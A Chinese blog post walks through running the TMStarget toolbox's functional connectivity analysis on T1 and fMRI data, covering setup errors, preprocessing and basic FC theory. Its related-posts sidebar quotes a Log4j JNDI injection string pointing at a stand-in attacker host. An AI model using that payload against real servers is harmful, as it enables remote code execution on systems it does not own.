TMStarget学习——Functional Connectivity

功能性连接 Functional connectivity 最近看论文看到功能性连接的内容,简单学习,浅记一下,方便以后查阅。 阅读详情

今天基于结构像和功能像数据试验TMStarget 的第二个功能Functional Connectivity。参考季老师的文档PPT来学习,整个处理过程较长,也可能是我的配置原因,一路报错比较多,下面逐步记录,直到跑通后再详细理解操作步骤。我是纯研究数据和文档调试自学,如有培训过很懂的发现理解不足,欢迎前来指导,感谢!
感谢季公俊老师提供如此神器TMStarget!!!
季老师TMStarget软件地址:(https://github.com/jigongjun/Neuroimaging-and-Neuromodulation)
这边也把季老师的基于TMStarget 的功能连接分析的PPT分享出来(github上软件包里面有包含),方便直接查看
https://download.youkuaiyun.com/download/learner_jj/89771268

(1)首先需要准备好TMStarget的软件包和依托软件包

在这里插入图片描述
(2)这些个安装软件包的路径和安装还蛮重要

->路径下的空格真的有影响吗?
一开始AFQ、vistasoft和SPM12 和TMStarget都放在matlab 的安装路径toolbox下面,奈何我的toolboxl路径是 D:\Program Files\Matlab2020a\toolbox,没看错,D盘 Program Files,路径下面有空格,怎么跑都报错了,中间还报了不识别‘D:\Program’。。。
蒙圈以后发现原来这里路径下的空格居然影响了处理,于是乎我把这四个软件AFQ、vistasoft和SPM12和TMStarget 都搬家了,搬到了D盘重新起了一个没有空格字符的路径,真的就可以往下面跑了。
在这里插入图片描述
记住:这些工具安装包不能放在包含空格的路径下,至于为什么就是会报错呀,会使得dcm2nii 都进行不下去。
->软件安装还有讲究
1)spm12
首先软件的版本一定要和matlab的版本、运行系统匹配,还有按照其官网的安装指导 matlab->设置路径-添加文件夹(选中spm12)->保存->关闭 别的可能行,此处容易报错,所以此处安装spm12需要分两步:
①matlab->设置路径-添加文件夹(选中spm12)->保存
②matlab->设置路径-添加并包含子文件夹(选中spm12)->保存->关闭

2)同样的vistasoft-master和Neuroimaging-and-Neuromodulation-main 我都是按照上面spm12 的安装方式做了包含子文件夹设置了,否则当使用的函数出现在子级的子级那就找不到,会报 XXX 函数不识别的错误。

(3)处理前的数据准备
准备一个试验处理数据文件夹FCtest,包含T1Raw和FUNRaw 文件夹,顾明思义,T1Raw 放置被试的T1结构像,FunRaw放被试的功能像。可以看两种格式的数据路径架构是一致的,切都是dicom数据,是放置在subj001文件夹的同一个被试数据。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
(4)T1Raw数据的预处理
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
DCM2NII:因为我的数据是dicom格式,需要转成nii,所以此处预处理数据格式转换必选,如果本身是nii数据了次选项不选;
Reorient:头歪斜校正,如果头的AC-PC比较水平了或者之前用别的软件做过了校正了,那就这个可以不选,我的数据有明显的歪斜,是需要做的,此处还是需要对AC和PC比较了解的,不然越矫正可能越歪斜。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我这边就矫正的不太好,具体还是需要花时间研究AC和PC还有那个 MIdSag点。

这里我最近又好好研究了AC和PC点,这次真的感觉基于结构像可以矫正好。首先AC 和PC 一定要好标记准确。正好在另一个文章中有好好研究AC-PC 在最新的博文中写过了,如今回过来再做,理解更深刻了。
https://blog.youkuaiyun.com/learner_jj/article/details/147256460?spm=1001.2014.3001.5502
这次数据明显已经矫正了。
在这里插入图片描述
Bet:就是颅脑分割了,看起来还行的样子。
跑下来没有报错算是跑完了吧,整体有点慢,中间报export_fig的错误,窗口提示需要做版本升级那就按照提示点update吧。
下面看看T1Raw预处理后的输出吧。
在这里插入图片描述
在这里插入图片描述
补充一下,T1矫正好的数据,做分割的结果,下面是最新做的,明显看起来比之前的更顺眼呀~
在这里插入图片描述

(5)FunRaw 数据预处理
首先检查AFQ-master 在matlab中安装是否包含到子文件夹
在这里插入图片描述
在这里插入图片描述
功能像的扫查参数TR、扫描序列,一定要提前知晓。预处理完成后会生成一长串不同名字的文件夹,此处和DPABI的处理过程是一样的,功能像的预处理用DPABI进行处理也可以。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
一开始很遗憾,也有点诡异,按照操作处理过程中没有提示错误,设置处理参数都是正确的,但是最后的输出图中功能像没有和T1结构像对齐。至于原因,后面需接着分析直到调正。


后续来了,换了一个新的被试的数据,然后按照流程重新处理了T1Raw和FunRaw,结果奇迹发生了,配准对齐了。所以,可能输入数据也是有要求,当处理过程没有报错时,输出的结果也需要去仔细查看并理解透彻。
在这里插入图片描述
(6)功能连接分析
1)基础知识储备

》》功能连接:
具体定义为两段不同脑区的BOLD序列在时间维度上的相关程度。
》》BOLD-fMRI成像序列:
即采用fMRI 成像的方式采集大脑的Bold信号,其是一种4D的成像序列,每个体素(voxel)都包含了一串时间序列,代表了该区域血氧水平依赖信号随着时间的变化。

》》皮尔逊相关系数:
是一种可以表征bold信号序列之间的相关程度的参数,取值范围[-1,1],
当皮尔逊相关系数=1,表示完全正相关;
当皮尔逊相关系数=-1,则表示完全负相关;
当皮尔逊相关系数=0,表示不相关。
可见分析fMRI数据的功能连接,其实质就是计算分析相关程度,并用一些统计或者图论的方法展示出结果。

》》功能连接常用的2种分析思路:
基于体素的功能连接分析
选择一个或多个种子点ROI,然后对每个种子点的平均时间序列与全脑每个体素的时间序列做相关性分析,可得到种子点的全脑功能连接图。
基于ROI分析功能连接
选择多个ROI,计算各个ROI的平均时间序列,并对各平均序列两两做相关性分析,即可得到一个N*N的ROI间的相关系数矩阵。

》》ROI的来源:
① 基于其他脑功能或结构指标的统计输出的差异显著脑区
② 基于标准的模板分区
③ 基于文献坐标的提炼
④ 手工绘制的ROI

》》基于体素的功能连接分析处理步骤:
①选取目标ROI(需确保ROI内部体素具有高度功能一致性);
②计算ROI内所有体素的平均时间序列;
③对得到的平均时间序列,逐个计算其与全脑体素的时间序列的皮尔逊相关(包括ROI自身内部所有体素);
④对于全脑的每个体素,都可以得到其与选定的ROI的相关系数,最终可输出一个全脑功能连接映射图(FC map);
⑤通过Fisher-Z变换或提取差异相关脑区的Z值与行为并进行相关分析(水平组统计分析或图论分析)。

》》基于ROI的功能连接分析:
①选取目标ROIs(至少2个,需确保每个ROI内部体素具有高度功能一致性)
②计算各ROI内所有体素的平均时间序列;
③对得到各ROI的平均时间序列,计算两两之间的皮尔逊相关;
④对于每个选定的ROI脑区,都可以得到其与其他选定ROI的相关系数,最终可输出一个所有ROI间的功能连接映射图(FC map);
⑤通过Fisher-Z变换或提取差异相关脑区的Z值与行为并进行相关分析(水平组统计分析或图论分析)。

2)基于TMStarget 的功能连接分析
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
输入参数seed Image和mask Image的nii文件是在季老师的github 网站下载的,在问题答疑部分中季老师给予提问者的附件回复。
也可以到我上传的网址下载:https://download.youkuaiyun.com/download/learner_jj/89790884
处理过程是边计算,边请教,一开始depth设置25太大了,后设置为7,最后各参数合理计算顺利。处理完的输出数据如下:
在这里插入图片描述
在这里插入图片描述
3)处理小结
老师的TMStarget 做功能连接这个模块,第一步是做T1结构像的预处理,第二步是做功能像的预处理,第三步是处理核心——功能连接分析。其中功能连接分析,这个步骤里的参数ROI文件非常关键,是需要基于疾病关联的脑分析知识和处理工具提前准备好的。

如老师提供的seed.nii其实是他们研究处理计算得到的文件,这块我还不是很懂,具体的计算原理和过程都需要继续跟着老师的培训和相关技术文档和知识去学习和理解。而target.nii可以初步看出其是一个位于broadmann 上45和46脑区之间的一个小靶区,看起来用来研究抑郁症(L-DLPFC)还蛮合适。
在这里插入图片描述
非常感谢季老师,不仅提供了可操作性非常强的TMStarget软件,还提供了一系列的说明文档,还有可以反复学习的多篇论文,还有还有老师在万忙之中非常耐心解答我的问题,真的是手把手教我跑完了整个流程。非常荣幸刚入行就遇到了这么好又超级超级厉害的老师的指导。万分感谢!!!

基于医学图像配准软件 ANTs(Advanced Normalization Tools)提取脑图像数值并与临床量表计算相关 神经影像学与临床评估的结合正在革新我们对神经精神疾病的理解。本博客聚焦于如何利用先进的医学图像配准软件ANTs(Advanced Normalization Tools)提取脑图像数值,并将其与临床量表进行相关性分析。目录一、准备掩模(Mask)二、准备T-value mapT-map 和 Z-map的转化比较同一结果的T-map和Zmap三、提取Mask内Z-value四、计算Cluster内均值五、计算相关。 阅读详情

相关推荐

fMRI提取ROI时间序列

首先准备一个mask,reslice到与fMRI相同的分辨率。注意这个mask里面不是ROI的地方值为零,而且每个ROI体素的值都是这个ROI对应的编号。比如我用的Power 264 ROI,ROI值最大是264。 然后用matlab写代码。把fMRI从四维转成二维去做会比较方便。 fmri = spm_vol('ICA_denoised_sub-600001103037_task-rest_bold.nii'); fdata = spm_read_vols(fmri); mask = spm_vol('r

Flower_Panda的博客 7645

系统梳理EEG中常用的功能连接指标—系列1

功能连接(Functional connectivity, FC)可以说是EEG研究中的一个非常重要的方法。对于正常的大脑高级认知功能来说,往往并不仅仅是单独的某个脑区在起作用,而是更加依赖于不同脑区之间的相互协同工作,因此研究不同脑区的功能连接对我们理解大脑的大脑高级认知功能机制来说非常重要。那么究竟什么是功能连接,如何定量测量不同脑区之间的功能连接呢?所谓的功能连接其实就是用某种方法来测量两种...

悦影科技 6071

从零开始学习 Go 1.25 编程

今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀

sinat_25548781的博客 108

【转载】EEG中常用的功能连接指标汇总

EEG中常用的功能连接指标汇总 功能连接(Functional connectivity, FC)可以说是EEG研究中的一个非常重要的方法。对于正常的大脑高级认知功能来说,往往并不仅仅是单独的某个脑区在起作用,而是更加依赖于不同脑区之间的相互协同工作,因此研究不同脑区的功能连接对我们理解大脑的大脑高级认知功能机制来说非常重要。那么究竟什么是功能连接,如何定量测量不同脑区之间的功能连接呢?所谓的功能连接其实就是用某种方法来测量两种信号之间的依赖或相关程度。在EEG领域中,研究者提出了非常丰富的算法来测定两种

qq_32793161的博客 6555

如何提取fMRI的时间序列,以及构建功能连接矩阵(functional connectivity)

图论分析中从fMRI中提取复杂网络的主要步骤。步骤一: 对采集的功能磁共振成像数据进行许多预处理步骤,包括切片之间的时间校正、重新对准、图像配准、基于分割的归一化和空间平滑。需要注意的是预处理步骤的选择和顺序可能会影响最终图指标测量的范围。预处理步骤可以参考:DPABI详细使用教材——数据准备、预处理流程、数据分析流程步骤二: 为了探索大规模的大脑网络,应用了适当的分割方案,例如解剖学自动标记图谱,将整个大脑划分为几个皮质和皮质下的解剖单元。......

从事脑科学核磁共振方法学研究,在Nature communications等权威期刊发表研究论文,熟练掌握磁共振处理方法和统计学方法,欢迎大家和我交流。 1万+

如何提取核磁共振成像BOLD-fMRI信号,以及计算功能连接矩阵?

% Extract the Seed Time Courses SeedSeries = []; MaskROIName=[]; for iROI=1:length(ROIDef) IsDefinedROITimeCourse =0; if strcmpi(int2str(size(ROIDef{iROI})),int2str([nDim1, nDim2, nDim3])) %ROI Data MaskROI = ROIDef{iROI}; MaskRO

从事脑科学核磁共振方法学研究,在Nature communications等权威期刊发表研究论文,熟练掌握磁共振处理方法和统计学方法,欢迎大家和我交流。 4691

TMStarget学习——T1 Segmentation数据处理及解bug

学习季公俊老师的神器 TMStarget 的第一个模块基于结构像的靶区计算T1 segmentation。

learner_jj的博客 1036

第28篇 sw放样特征矩形-圆-矩形学习笔记

本例演示三轮廓放样:先画中心对齐的100×100矩形草图,再在偏移100的基准面上绘制圆,最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点,实现矩形→圆→矩形的平滑过渡,注意连接点位置避免扭曲。

Txwtech 44

从模拟到实盘:如何判断自己已经准备好用真钱炒股?同花顺用户的5个过渡信号

本文探讨了从模拟交易过渡到实盘炒股的关键信号,帮助同花顺用户判断交易成熟度。通过分析心理账户差异、市场冲击成本和极端行情验证等核心因素,提供科学的自我评估体系和资金管理方案,确保投资者在实盘操作中游刃有余。

grafana6viz的博客 254

WPS集成DeepSeek最新教程,附详细图文,让文案生成更智能

本文将为大家详细介绍如何将 DeepSeek 功能集成到 WPS 中,通过 OfficeAI 插件,你无需进行复杂的本地部署,只需通过官网连接即可快速启用 DeepSeek 强大的 AI 功能。不论是文案生成、翻译校对,还是深度推理、决策支持,DeepSeek 都能为你提供便捷的解决方案。让我们一起来看看如何操作吧!

Java徐师兄的博客 6万+

Dify工作流构建案例:迭代驱动的多维深度搜索

为了克服这些挑战,我们可以设计一个能够智能协同内部知识库与外部互联网搜索,并最终由大型语言模型(LLM)进行深度整合与精准回答的高级工作流。

同名公众号:dify实验室 2292

voxel-wise和ROI-wise

voxel-wise就是基于voxel水平的分析;ROI-wise是基于ROI水平分析。你比如在做功能连接的时候,基于voxel做的话,你选择一个或多个种子点,然后每个种子点的平均时间序列与全脑每个体素的时间序列做相关性分析,做出来就是种子点的全脑功能连接图;基于ROI做的话,你选择多个ROI,然后各个ROI时间序列之间做相关性分析,的出来是一个N*N的相关矩阵(N代表ROI点个数)。...

qq_28752595的博客 5133

C#:WPF格式转Winform格式

WPF格式转Winform格式

Hello C++ 1295

2026.11.7 AI学习总结

110 你 14b 模型权重本身就要约 8.8GB,默认上下文(Ollama 在 16GB 卡上可能给到 4K)加上 KV Cache 就爆了。比如设成 2048,你输入了 500 个 token 的问题,那模型最多还能生成 1500 个 token 的回答。超出部分会被截断,模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事",再逐步往上加,比如先试 4096。,根据注意力头的重要性动态分配缓存资源,重要的留显存,不重要的下沉。,单位是 token,表示模型这一次推理最多能同时"看到"多少内容。

qq_41181702的博客 375

UG NX与PLC-1500的在环虚拟测试

TIA、PLCSIM、NetToPLCsim、KEPServerEX以及UG NX的在环虚拟测试

lvtlvtlvtlvt的博客 4220

DeepSeek高阶应用:DeepSeek+Coze构建智能文献综述与趋势分析自动化系统

本文详细介绍了如何利用DeepSeek与Coze构建智能文献综述与趋势分析自动化系统。通过DeepSeek的深度语义理解和结构化信息提取能力,结合Coze的可视化工作流编排,实现学术论文的自动解析、分类整理与知识入库。该系统能7x24小时自动追踪领域前沿,将研究人员从繁琐的文献处理中解放出来,专注于更高层次的思考与创新。

weixin_29050271的博客 179

Flink 学习日志 03:自定义一个SourceFunction,完成对Redis中数据的读取

本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程:通过Jedis客户端连接WSL2中的Redis服务,编写RedisSource实现循环读取所有Key-value并逐条输出,结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖,并注意生产环境中应避免使用阻塞的keys *,改用scan命令。最终实现动态读取、实时打印,验证了Flink与Redis的数据集成能力。

木木的学习笔记 425

【小白教程】本地部署VLM-R1模型(使用Docker)

通过Docker本地部署VLM-R1大模型,详细教程。

m0_69855053的博客 2941

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 205

别再手动连线了!用Tessent IJTAG的SIB和TDR,5分钟搞定复杂芯片的DFT网络分区

本文探讨了如何利用Tessent IJTAG的SIB(Segment Insertion Bit)和TDR(Test Data Register)技术,高效解决复杂芯片DFT网络分区问题。通过智能化的扫描链管理和声明式定义,显著降低连接复杂度,提升测试覆盖率和良率,适用于超大规模SoC设计。

weixin_29251131的博客 301

Python面试题及详细答案150道(126-135) -- 数据库交互篇

本文介绍了Python中操作MySQL、SQLite数据库及ORM框架的核心技术。主要内容包括:1. 使用pymysql连接MySQL数据库,演示了连接配置、SQL执行和事务管理;2. ORM原理及主流框架SQLAlchemy和Django ORM的示例;3. 通过sqlite3模块操作轻量级SQLite数据库;4. 数据库事务的ACID特性解析。这些内容涵盖了Python数据库开发的关键知识点,适合准备前后端面试的开发者复习核心概念和实际应用。

大剑师兰特的GIS世界 1729

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 365

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 169

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

CMake学习

CMake如何编译成库?1. 为什么要有库?库就是预先写好,编译好的代码集合。存在的意义,1)避免重复造轮子和重复编译,库是,你的代码在编译时直接链接它,不需要把库的源码重新编译一遍,大大节省了编译时间。;2):编译成库让别人可以直接调用我的函数,但看不到cpp源码,看不到里面的逻辑。3):大项目可以拆分给不同的团队开发不同的库,最后拼在一起。静态库:就是在程序编译和链接阶段,把库里被用到的代码部分,像打包裹一样,直接复制粘贴到最终的可执行文件(如.exe或 Linux 下的无后缀文件)里面。

m0_56487684的博客 198

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

上一篇: TMStarget学习——T1 Segmentation数据处理及解bug
下一篇: 学习MRI处理过程中搜到的宝藏网站
发光的小豆芽
博客等级 码龄12年 2803粉丝 73原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值